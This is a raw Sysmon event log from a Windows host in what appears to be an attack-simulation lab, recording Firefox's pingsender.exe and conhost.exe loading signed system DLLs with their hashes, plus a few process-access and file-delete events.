SystemMicrosoftDBGHELP.DLLMD5=2C92DF5D32661FB4B81B08B72B2102A7,SHA256=BCEF4DEBDE7D8D6916EE3D3E5E63A725E03A058AABCD7DD49DF9D48B16E96D1A,IMPHASH=E7FD2920222985E31019D022BB39EFBEtrueMicrosoft WindowsValid 734700x800000000000000056900Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:09:03.891{7BD73061-750F-613B-AE0B-00000000F001}4084C:\Program Files\Mozilla Firefox\pingsender.exeC:\Windows\System32\oleaut32.dll10.0.14393.4402 (rs1_release.210426-1725)OLEAUT32.DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationOLEAUT32.DLLMD5=57B07BF89C63FA60A810FEDE496126CA,SHA256=080632F80FA2A387E5A55C670FFE07C927D553FDDA26F7F8B4156C0C6B20E75E,IMPHASH=8987D71C85BB2C13D3D90194331F962FtrueMicrosoft WindowsValid 734700x800000000000000056899Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:09:03.891{7BD73061-750F-613B-AE0B-00000000F001}4084C:\Program Files\Mozilla Firefox\pingsender.exeC:\Windows\System32\version.dll10.0.14393.0 (rs1_release.160715-1616)Version Checking and File Installation LibrariesMicrosoft® Windows® Operating SystemMicrosoft CorporationVERSION.DLLMD5=CFDB018AC09F879CAAE7A66CA7880D57,SHA256=6AB95FD0D142CFFC3B9455AF51F003E1CD75B7F4323820390B975F9E1C8A47A5,IMPHASH=9A7C66851249D4CED6C2C9096DCA243BtrueMicrosoft WindowsValid 734700x800000000000000056898Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:09:03.891{7BD73061-750F-613B-AE0B-00000000F001}4084C:\Program Files\Mozilla Firefox\pingsender.exeC:\Windows\System32\wintrust.dll10.0.14393.4530 (rs1_release.210705-0736)Microsoft Trust Verification APIsMicrosoft® Windows® Operating SystemMicrosoft CorporationWINTRUST.DLLMD5=992BCD32EF7680C574A426FAA4933ACA,SHA256=5755AC46B4220784A6E6AC12A755CC10892A5AE59B67924576075A1A29D68B3D,IMPHASH=EC9695F0DF1F52E9D439A942DBDAA111trueMicrosoft WindowsValid 734700x800000000000000056897Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:09:03.891{7BD73061-750F-613B-AE0B-00000000F001}4084C:\Program Files\Mozilla Firefox\pingsender.exeC:\Windows\System32\msasn1.dll10.0.14393.0 (rs1_release.160715-1616)ASN.1 Runtime APIsMicrosoft® Windows® Operating SystemMicrosoft Corporationmsasn1.dllMD5=299464D218A27B56684B715365D149FE,SHA256=2BFE4014E06552A9D4201EF9D1C605694AAF2B7B811265EFD91FC6D1C2D48242,IMPHASH=B6562243FBF394F03046E917C719260FtrueMicrosoft WindowsValid 734700x800000000000000056896Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:09:03.891{7BD73061-750F-613B-AE0B-00000000F001}4084C:\Program Files\Mozilla Firefox\pingsender.exeC:\Windows\System32\crypt32.dll10.0.14393.4350 (rs1_release.210407-2154)Crypto API32Microsoft® Windows® Operating SystemMicrosoft CorporationCRYPT32.DLLMD5=95BA70CFA8087A209500D7D350BF3A59,SHA256=4265157E8DC2A0E32A6328D54181CC31FD24E3017E60B270623C2CDBE5FAB4FA,IMPHASH=5BAA515B293A764CA06512D078C4E624trueMicrosoft WindowsValid 734700x800000000000000056895Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:09:03.891{7BD73061-750F-613B-AE0B-00000000F001}4084C:\Program Files\Mozilla Firefox\pingsender.exeC:\Windows\System32\rpcrt4.dll10.0.14393.4467 (rs1_release.210604-1844)Remote Procedure Call RuntimeMicrosoft® Windows® Operating SystemMicrosoft Corporationrpcrt4.dllMD5=B0C4BF9491FB453B77399E3C56C11DC8,SHA256=66D5D1B3D25D15EA8737C8B2EF83E770BA10931868F24DCACC50936F0A0BAC08,IMPHASH=EB45E6A4165ECBE63E7CA7D14DE0BD8EtrueMicrosoft WindowsValid 734700x800000000000000056894Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:09:03.891{7BD73061-750F-613B-AE0B-00000000F001}4084C:\Program Files\Mozilla Firefox\pingsender.exeC:\Windows\System32\vcruntime140_1.dll14.28.29913.0 built by: vcwrkspcMicrosoft® C Runtime LibraryMicrosoft® Visual Studio®Microsoft Corporationvcruntime140_1.dllMD5=4DC09CA657822C2E8160255F767597DF,SHA256=922124BA0821AA864A0261ED88BD25F8E40F94C24D00D389E23CD9AB2BFC6BA4,IMPHASH=AE0BDE6314FA2027B54CE04898F6AB69trueMicrosoft CorporationValid 734700x800000000000000056893Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:09:03.891{7BD73061-750F-613B-AE0B-00000000F001}4084C:\Program Files\Mozilla Firefox\pingsender.exeC:\Windows\System32\sechost.dll10.0.14393.3808 (rs1_release.200707-2105)Host for SCM/SDDL/LSA Lookup APIsMicrosoft® Windows® Operating SystemMicrosoft Corporationsechost.dllMD5=E6B98644CD3B912C44C39CC0996790A9,SHA256=23BE56E1B8DBA449C0959753175BD15457EC88E93E9E8B86489266347959A6F2,IMPHASH=D6E06125849E8565A50F366A0149FB40trueMicrosoft WindowsValid 734700x800000000000000056892Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:09:03.891{7BD73061-750F-613B-AE0B-00000000F001}4084C:\Program Files\Mozilla Firefox\pingsender.exeC:\Windows\System32\advapi32.dll10.0.14393.4467 (rs1_release.210604-1844)Advanced Windows 32 Base APIMicrosoft® Windows® Operating SystemMicrosoft Corporationadvapi32.dllMD5=A8CDCAC5C32D14ED8AADDF5489FC5D55,SHA256=140F07A8F6780DAFE20CC4FBE86C9332FB2F0C26ED8F49914BD05265C63EF6F1,IMPHASH=B511E4B82A44D3731CDA46A74F5D57EAtrueMicrosoft WindowsValid 734700x800000000000000056891Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:09:03.891{7BD73061-750F-613B-AE0B-00000000F001}4084C:\Program Files\Mozilla Firefox\pingsender.exeC:\Windows\System32\vcruntime140.dll14.28.29913.0 built by: vcwrkspcMicrosoft® C Runtime LibraryMicrosoft® Visual Studio®Microsoft Corporationvcruntime140.dllMD5=ADE7AAC069131F54E4294F722C17A412,SHA256=92D50F7C4055718812CD3D823AA2821D6718EB55D2AB2BAC55C2E47260C25A76,IMPHASH=44C3854843F7A3FCCDF8DDBBEA66F302trueMicrosoft CorporationValid 734700x800000000000000056890Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:09:03.891{7BD73061-750F-613B-AE0B-00000000F001}4084C:\Program Files\Mozilla Firefox\pingsender.exeC:\Windows\System32\msvcp140.dll14.28.29913.0 built by: vcwrkspcMicrosoft® C Runtime LibraryMicrosoft® Visual Studio®Microsoft Corporationmsvcp140.dllMD5=4B6BA0947F115AE9FD3016D26D57ABB8,SHA256=254DF96324D019A7C4213ABD4178944B8BF2873D0C3EDC1835D4C668F83D7C37,IMPHASH=4F1912F58F8D1AE7998EF5303198D62DtrueMicrosoft CorporationValid 734700x800000000000000056889Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:09:03.891{7BD73061-750F-613B-AE0B-00000000F001}4084C:\Program Files\Mozilla Firefox\pingsender.exeC:\Windows\System32\msvcrt.dll7.0.14393.2457 (rs1_release_inmarket.180822-1743)Windows NT CRT DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationmsvcrt.dllMD5=0AF8989DD67A135B536CF948E3EFB7EB,SHA256=C693DA0EF4DCF3BC244661B9FD280FE12C3053FDD7B977712C0CF210831B2EF4,IMPHASH=07D6F84E3C8FD0D2C32F9398A0369BAFtrueMicrosoft WindowsValid 734700x800000000000000056888Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:09:03.891{7BD73061-750F-613B-AE0B-00000000F001}4084C:\Program Files\Mozilla Firefox\pingsender.exeC:\Windows\System32\ucrtbase.dll10.0.14393.3659 (rs1_release_1.200410-1813)Microsoft® C Runtime LibraryMicrosoft® Windows® Operating SystemMicrosoft Corporationucrtbase.dllMD5=9804D130E8E7178738C2B9808091B427,SHA256=6053B7CC85846F15094475116A8C57BA89FE99FDD1978C54E8A7E2114E318FE3,IMPHASH=57ABD1FDE351971A01E912069E11B44CtrueMicrosoft WindowsValid 734700x800000000000000056887Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:09:03.891{7BD73061-750F-613B-AE0B-00000000F001}4084C:\Program Files\Mozilla Firefox\pingsender.exeC:\Windows\System32\wininet.dll11.00.14393.4583 (rs1_release.210730-1850)Internet Extensions for Win32Internet ExplorerMicrosoft Corporationwininet.dllMD5=524876363DA8F469C13E0818256B6131,SHA256=DAA85FEAB4553D9A203A85A58C8CB26A2784E0D33226B41AAE98471DAE75C035,IMPHASH=B3ABC7D59C2B1ACAEECA63C53B0AAC4BtrueMicrosoft WindowsValid 734700x800000000000000056886Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:09:03.891{7BD73061-750F-613B-AE0B-00000000F001}4084C:\Program Files\Mozilla Firefox\pingsender.exeC:\Program Files\Mozilla Firefox\mozglue.dll92.0-FirefoxMozilla Foundationmozglue.dllMD5=2AA3B81F30451FC8E5A23ED228B8C7D2,SHA256=BB33821ADE195D2C34C3528A148843767FFED9806BB19E19FBE01DEFF12A1DDD,IMPHASH=521A5A933B177363A2A0D8A6C3244738trueMozilla CorporationValid 734700x800000000000000056885Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:09:03.887{7BD73061-750F-613B-AF0B-00000000F001}3236C:\Windows\System32\conhost.exeC:\Windows\WinSxS\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.14393.4169_none_7de0bbf28341b1f2\comctl32.dll6.10 (rs1_release.210107-1130)User Experience Controls LibraryMicrosoft® Windows® Operating SystemMicrosoft Corporationcomctl32.DLLMD5=FD486B6FA360ABE43E02E85F3164E9BE,SHA256=733922A216EC03FC6AA405205CD2F8BB81A39180F26839588B97F310E21071B5,IMPHASH=C3F4A4DA2950075F09DD008B60FF567CtrueMicrosoft WindowsValid 23542300x800000000000000056884Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:09:03.887{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=C2295329CB1509667B9E1B21A0A4F252,SHA256=8E3364FE94FE7667B5803417E2C4AC8C1FB4DFAE3681F9E706FAB56DAB9D0E54,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 734700x800000000000000056883Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:09:03.869{7BD73061-750F-613B-AF0B-00000000F001}3236C:\Windows\System32\conhost.exeC:\Windows\System32\dwmapi.dll10.0.14393.4169 (rs1_release.210107-1130)Microsoft Desktop Window Manager APIMicrosoft® Windows® Operating SystemMicrosoft Corporationdwmapi.dllMD5=74621C6ABE4E9A568DF0A38E7282D71E,SHA256=0788A092D47800D0EB120A7DBB9E59234D0722A4A2E80ECE6CE70E3A84A3750A,IMPHASH=ADB9F71ACD4F7D3CF761AB6C59A7F1E5trueMicrosoft WindowsValid 734700x800000000000000056882Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:09:03.869{7BD73061-750F-613B-AF0B-00000000F001}3236C:\Windows\System32\conhost.exeC:\Windows\System32\msctf.dll10.0.14393.4530 (rs1_release.210705-0736)MSCTF Server DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationMSCTF.DLLMD5=E2374A214A9F0C8347C29EBDE3447986,SHA256=F2260FE7E0C4E92D49CF0F550E2A1B3D3F1D2D76E6F5C8F16B0E16B6117D9EE1,IMPHASH=EB898F83C3A5D6877A523BC64B41CB06trueMicrosoft WindowsValid 10341000x800000000000000056881Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:09:03.853{7BD73061-65B2-613B-1600-00000000F001}1296972C:\Windows\system32\svchost.exe{7BD73061-750F-613B-AF0B-00000000F001}3236C:\Windows\system32\conhost.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|c:\windows\system32\themeservice.dll+235b|c:\windows\system32\themeservice.dll+1ed0|c:\windows\system32\themeservice.dll+2006|C:\Windows\SYSTEM32\ntdll.dll+39cf9|C:\Windows\SYSTEM32\ntdll.dll+1e88a|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000056880Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:09:03.853{7BD73061-65B2-613B-1600-00000000F001}12961324C:\Windows\system32\svchost.exe{7BD73061-750F-613B-AF0B-00000000F001}3236C:\Windows\system32\conhost.exe0x1478C:\Windows\SYSTEM32\ntdll.dll+a6134|c:\windows\system32\themeservice.dll+144a|c:\windows\system32\themeservice.dll+4175|c:\windows\system32\themeservice.dll+3379|c:\windows\system32\themeservice.dll+31a3|C:\Windows\system32\svchost.exe+1380|C:\Windows\System32\sechost.dll+14342|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 734700x800000000000000056879Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:09:03.853{7BD73061-750F-613B-AF0B-00000000F001}3236C:\Windows\System32\conhost.exeC:\Windows\System32\uxtheme.dll10.0.14393.4169 (rs1_release.210107-1130)Microsoft UxTheme LibraryMicrosoft® Windows® Operating SystemMicrosoft CorporationUxTheme.dllMD5=43AEE61AFABE70BFC876CC53D6A64E04,SHA256=8A4C893AEB075D3D9EFEC52E49CEF94471EB9F0A91BEB4C07DF38F8A48910C12,IMPHASH=67E6A4C8E164C0229E3FF1626F1894C6trueMicrosoft WindowsValid 734700x800000000000000056878Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:09:03.853{7BD73061-750F-613B-AF0B-00000000F001}3236C:\Windows\System32\conhost.exeC:\Windows\System32\profapi.dll10.0.14393.0 (rs1_release.160715-1616)User Profile Basic APIMicrosoft® Windows® Operating SystemMicrosoft CorporationPROFAPI.DLLMD5=0BC84513575743DA177F3DFE18D35CA7,SHA256=C40F6AA73073995E05E5379AE593A6617E8296C79A78BD7F716D95F98AE0D899,IMPHASH=9060609FCB6C4120D4517877408A4A46trueMicrosoft WindowsValid 734700x800000000000000056877Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:09:03.853{7BD73061-750F-613B-AF0B-00000000F001}3236C:\Windows\System32\conhost.exeC:\Windows\System32\kernel.appcore.dll10.0.14393.2312 (rs1_release.180607-1919)AppModel API HostMicrosoft® Windows® Operating SystemMicrosoft Corporationkernel.appcore.dllMD5=0AF5EF8A7FEFD4B37036B71514FC20CF,SHA256=D4F178583F6F33794D42B4DB11008494E9CD9F069C2AD2CA304DA63F9B5F659C,IMPHASH=94524C03C5380F78283785F1E05E667DtrueMicrosoft WindowsValid 734700x800000000000000056876Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:09:03.853{7BD73061-750F-613B-AF0B-00000000F001}3236C:\Windows\System32\conhost.exeC:\Windows\System32\shlwapi.dll10.0.14393.4169 (rs1_release.210107-1130)Shell Light-weight Utility LibraryMicrosoft® Windows® Operating SystemMicrosoft CorporationSHLWAPI.DLLMD5=F9E249B6BB80C06BA30A61854567796C,SHA256=E5F62CD5D2FE7BE8D4E029ECA004A8773FF8D1F7AB92C115810AD54B5B8F50CA,IMPHASH=9F3DE8492A7F075320A36332ACC9CAAFtrueMicrosoft WindowsValid 734700x800000000000000056875Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:09:03.853{7BD73061-750F-613B-AF0B-00000000F001}3236C:\Windows\System32\conhost.exeC:\Windows\System32\advapi32.dll10.0.14393.4467 (rs1_release.210604-1844)Advanced Windows 32 Base APIMicrosoft® Windows® Operating SystemMicrosoft Corporationadvapi32.dllMD5=A8CDCAC5C32D14ED8AADDF5489FC5D55,SHA256=140F07A8F6780DAFE20CC4FBE86C9332FB2F0C26ED8F49914BD05265C63EF6F1,IMPHASH=B511E4B82A44D3731CDA46A74F5D57EAtrueMicrosoft WindowsValid 734700x800000000000000056874Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:09:03.853{7BD73061-750F-613B-AF0B-00000000F001}3236C:\Windows\System32\conhost.exeC:\Windows\System32\powrprof.dll10.0.14393.0 (rs1_release.160715-1616)Power Profile Helper DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationPOWRPROF.DLLMD5=C55F634054E45C0DEE47C254AE009928,SHA256=76EB0FCA87C3AD5FA1C46EB0AF88CF85E172525029E33F5DFC5645EF2EE6F575,IMPHASH=CBD4A2FD581B65B4B1934DA291FA2B86trueMicrosoft WindowsValid 734700x800000000000000056873Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:09:03.853{7BD73061-750F-613B-AF0B-00000000F001}3236C:\Windows\System32\conhost.exeC:\Windows\System32\windows.storage.dll10.0.14393.4583 (rs1_release.210730-1850)Microsoft WinRT Storage APIMicrosoft® Windows® Operating SystemMicrosoft CorporationWindows.Storage.dllMD5=1D7997E3AFC26B85024D33F835E18056,SHA256=B2376967E156D4971FB66059F6367030AF937943D2EBF80AF856E643B6E95BBF,IMPHASH=181A859176420BBB803F246C0E4B0889trueMicrosoft WindowsValid 734700x800000000000000056872Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:09:03.853{7BD73061-750F-613B-AF0B-00000000F001}3236C:\Windows\System32\conhost.exeC:\Windows\System32\cfgmgr32.dll10.0.14393.0 (rs1_release.160715-1616)Configuration Manager DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationCFGMGR32.DLLMD5=77BF2979C1A08EBA43C24FE0B7E547BE,SHA256=071E00374806E043A2E78E88C7FDDCE8F5983DE665DF41F3B3210660BF2EF704,IMPHASH=1835EBC72F9ADB09C6FCFABC04AC9C89trueMicrosoft WindowsValid 734700x800000000000000056871Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:09:03.853{7BD73061-750F-613B-AF0B-00000000F001}3236C:\Windows\System32\conhost.exeC:\Windows\System32\shell32.dll10.0.14393.4583 (rs1_release.210730-1850)Windows Shell Common DllMicrosoft® Windows® Operating SystemMicrosoft CorporationSHELL32.DLLMD5=837B8644B9CE47EC28152E7D764886E0,SHA256=C5BA64473FB38E6B4592EAFA642AF82715CBC676190985D8D8D4150CE840044F,IMPHASH=2ED99A476E2DEFB78DF894322CB4A549trueMicrosoft WindowsValid 10341000x800000000000000056870Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:09:03.838{7BD73061-750F-613B-AF0B-00000000F001}3236304C:\Windows\system32\conhost.exe{7BD73061-750F-613B-AE0B-00000000F001}4084C:\Program Files\Mozilla Firefox\pingsender.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\ConhostV2.dll+5ca7|C:\Windows\SYSTEM32\ConhostV2.dll+774b|C:\Windows\SYSTEM32\ConhostV2.dll+a8ef|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 734700x800000000000000056869Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:09:03.838{7BD73061-750F-613B-AF0B-00000000F001}3236C:\Windows\System32\conhost.exeC:\Windows\System32\SHCore.dll10.0.14393.4169 (rs1_release.210107-1130)SHCOREMicrosoft® Windows® Operating SystemMicrosoft CorporationSHCORE.dllMD5=D287E1BC5A148E2BCB482DBD0E925738,SHA256=1C2428AD170165DD8DE960C835D9AAB5B268300A676FE935B177ED5D2607430D,IMPHASH=3C09BDCE2388320645D7656AE2AC744CtrueMicrosoft WindowsValid 734700x800000000000000056868Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:09:03.838{7BD73061-750F-613B-AF0B-00000000F001}3236C:\Windows\System32\conhost.exeC:\Windows\System32\sechost.dll10.0.14393.3808 (rs1_release.200707-2105)Host for SCM/SDDL/LSA Lookup APIsMicrosoft® Windows® Operating SystemMicrosoft Corporationsechost.dllMD5=E6B98644CD3B912C44C39CC0996790A9,SHA256=23BE56E1B8DBA449C0959753175BD15457EC88E93E9E8B86489266347959A6F2,IMPHASH=D6E06125849E8565A50F366A0149FB40trueMicrosoft WindowsValid 734700x800000000000000056867Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:09:03.838{7BD73061-750F-613B-AF0B-00000000F001}3236C:\Windows\System32\conhost.exeC:\Windows\System32\propsys.dll7.0.14393.4169 (rs1_release.210107-1130)Microsoft Property SystemWindows® SearchMicrosoft Corporationpropsys.dllMD5=013D2BA96C261CDC62ECA7365E1C84D5,SHA256=26896478B6F1AF3756D5B1BB59BF2C6BE1C579B122CC882BAC35FEFB3EC3EE36,IMPHASH=FF25576501EAFD13671A6D5075C4513EtrueMicrosoft WindowsValid 734700x800000000000000056866Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:09:03.838{7BD73061-750F-613B-AF0B-00000000F001}3236C:\Windows\System32\conhost.exeC:\Windows\System32\msvcp_win.dll10.0.14393.2999 (rs1_release_inmarket.190520-1518)Microsoft® C Runtime LibraryMicrosoft® Windows® Operating SystemMicrosoft Corporationmsvcp_win.dllMD5=C50C0CEFA633773AB29572E05834F1FE,SHA256=50178F23AA57B31626614C6C65DA2B6518A64FF684FFA18A0F49C4431DFCBEC5,IMPHASH=5B59892514923CABE9B70CFE22A3F59AtrueMicrosoft WindowsValid 734700x800000000000000056865Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:09:03.838{7BD73061-750F-613B-AF0B-00000000F001}3236C:\Windows\System32\conhost.exeC:\Windows\System32\oleaut32.dll10.0.14393.4402 (rs1_release.210426-1725)OLEAUT32.DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationOLEAUT32.DLLMD5=57B07BF89C63FA60A810FEDE496126CA,SHA256=080632F80FA2A387E5A55C670FFE07C927D553FDDA26F7F8B4156C0C6B20E75E,IMPHASH=8987D71C85BB2C13D3D90194331F962FtrueMicrosoft WindowsValid 734700x800000000000000056864Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:09:03.838{7BD73061-750F-613B-AF0B-00000000F001}3236C:\Windows\System32\conhost.exeC:\Windows\System32\imm32.dll10.0.14393.0 (rs1_release.160715-1616)Multi-User Windows IMM32 API Client DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationimm32MD5=E1024CF2E35DD3467F52BC83F7FEDA3F,SHA256=59C87761AD509BD096C2F35257C2370FB94B95160CB63FB9E66DFD8210AB002A,IMPHASH=C852E8FD14D356C81F834E318EEAD7FAtrueMicrosoft WindowsValid 734700x800000000000000056863Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:09:03.838{7BD73061-750F-613B-AF0B-00000000F001}3236C:\Windows\System32\conhost.exeC:\Windows\System32\win32u.dll10.0.14393.0 (rs1_release.160715-1616)Win32uMicrosoft® Windows® Operating SystemMicrosoft CorporationWin32u.DLLMD5=6A40F9C63B52CB4E8271CF3418618033,SHA256=A2BE23DA7AADFA9118130C939CD59D86E590957172FF404511EE6C5EC5147F15,IMPHASH=00000000000000000000000000000000trueMicrosoft WindowsValid 734700x800000000000000056862Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:09:03.838{7BD73061-750F-613B-AF0B-00000000F001}3236C:\Windows\System32\conhost.exeC:\Windows\System32\user32.dll10.0.14393.4169 (rs1_release.210107-1130)Multi-User Windows USER API Client DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationuser32MD5=883B59C5557E8A9B3C1E1ED1CA48CD5A,SHA256=271800C20A96587265BF83DE2EFC11329EEB2B6C0D57E5E0BCD137FB96BFE6E3,IMPHASH=070F257E4632BC576557C4085595EAA4trueMicrosoft WindowsValid 734700x800000000000000056861Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:09:03.838{7BD73061-750F-613B-AF0B-00000000F001}3236C:\Windows\System32\conhost.exeC:\Windows\System32\gdi32full.dll10.0.14393.4530 (rs1_release.210705-0736)GDI Client DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationgdi32MD5=9D82D7DBC3D9E0D8E86D10A5B1BF736E,SHA256=270CA1A42ECB4C22E826C1C95924F0014CC99254AB55B7167DA144D45E238E6D,IMPHASH=059EB3BAA45E35C79FAE66F7279059EEtrueMicrosoft WindowsValid 734700x800000000000000056860Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:09:03.838{7BD73061-750F-613B-AF0B-00000000F001}3236C:\Windows\System32\conhost.exeC:\Windows\System32\gdi32.dll10.0.14393.4169 (rs1_release.210107-1130)GDI Client DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationgdi32MD5=551D603CEC947F586DB9FADEF4D2EBA6,SHA256=143125EFF9F3BC5B3F3BE505F3C3814393807B9CACB6AA5F75D39C77EC0D4ED8,IMPHASH=A24D446CB7FCBB6D29B592603C0BE00CtrueMicrosoft WindowsValid 734700x800000000000000056859Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:09:03.838{7BD73061-750F-613B-AF0B-00000000F001}3236C:\Windows\System32\conhost.exeC:\Windows\System32\bcryptprimitives.dll10.0.14393.4583 (rs1_release.210730-1850)Windows Cryptographic Primitives LibraryMicrosoft® Windows® Operating SystemMicrosoft Corporationbcryptprimitives.dllMD5=8AAF6E1B14B9210052FFF90E25926D63,SHA256=F2120C8E63EA94F8618B31319A534731C16D8FDD58B0E1E70217D72A39D78353,IMPHASH=BA5C37A1CF8C2730ED1F4DA1587496A5trueMicrosoft WindowsValid 734700x800000000000000056858Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:09:03.838{7BD73061-750F-613B-AF0B-00000000F001}3236C:\Windows\System32\conhost.exeC:\Windows\System32\rpcrt4.dll10.0.14393.4467 (rs1_release.210604-1844)Remote Procedure Call RuntimeMicrosoft® Windows® Operating SystemMicrosoft Corporationrpcrt4.dllMD5=B0C4BF9491FB453B77399E3C56C11DC8,SHA256=66D5D1B3D25D15EA8737C8B2EF83E770BA10931868F24DCACC50936F0A0BAC08,IMPHASH=EB45E6A4165ECBE63E7CA7D14DE0BD8EtrueMicrosoft WindowsValid 734700x800000000000000056857Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:09:03.838{7BD73061-750F-613B-AF0B-00000000F001}3236C:\Windows\System32\conhost.exeC:\Windows\System32\ucrtbase.dll10.0.14393.3659 (rs1_release_1.200410-1813)Microsoft® C Runtime LibraryMicrosoft® Windows® Operating SystemMicrosoft Corporationucrtbase.dllMD5=9804D130E8E7178738C2B9808091B427,SHA256=6053B7CC85846F15094475116A8C57BA89FE99FDD1978C54E8A7E2114E318FE3,IMPHASH=57ABD1FDE351971A01E912069E11B44CtrueMicrosoft WindowsValid 734700x800000000000000056856Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:09:03.838{7BD73061-750F-613B-AF0B-00000000F001}3236C:\Windows\System32\conhost.exeC:\Windows\System32\combase.dll10.0.14393.4583 (rs1_release.210730-1850)Microsoft COM for WindowsMicrosoft® Windows® Operating SystemMicrosoft CorporationCOMBASE.DLLMD5=878EBD02A580FDF8F187100127E6D3A8,SHA256=54E4BADDFBD97CFFF871B6D7316B28872218B92F37C41199F71EB37BC5634216,IMPHASH=0863DD72CA0C3702DB7ACD19A4D5DEB1trueMicrosoft WindowsValid 734700x800000000000000056855Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:09:03.838{7BD73061-750F-613B-AF0B-00000000F001}3236C:\Windows\System32\conhost.exeC:\Windows\System32\ConhostV2.dll10.0.14393.4583 (rs1_release.210730-1850)Console Window HostMicrosoft® Windows® Operating SystemMicrosoft CorporationCONHOST.EXEMD5=2FB0A16E47FFDD4CBB3E80E58ECD8AE1,SHA256=943949336C9A3707F0A9FFD76A6D20278B6EE72513E8D193D04B27133C36B7C6,IMPHASH=49A59B06FE5B10F21E36B588430BFDB3trueMicrosoft WindowsValid 734700x800000000000000056854Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:09:03.838{7BD73061-750F-613B-AF0B-00000000F001}3236C:\Windows\System32\conhost.exeC:\Windows\System32\msvcrt.dll7.0.14393.2457 (rs1_release_inmarket.180822-1743)Windows NT CRT DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationmsvcrt.dllMD5=0AF8989DD67A135B536CF948E3EFB7EB,SHA256=C693DA0EF4DCF3BC244661B9FD280FE12C3053FDD7B977712C0CF210831B2EF4,IMPHASH=07D6F84E3C8FD0D2C32F9398A0369BAFtrueMicrosoft WindowsValid 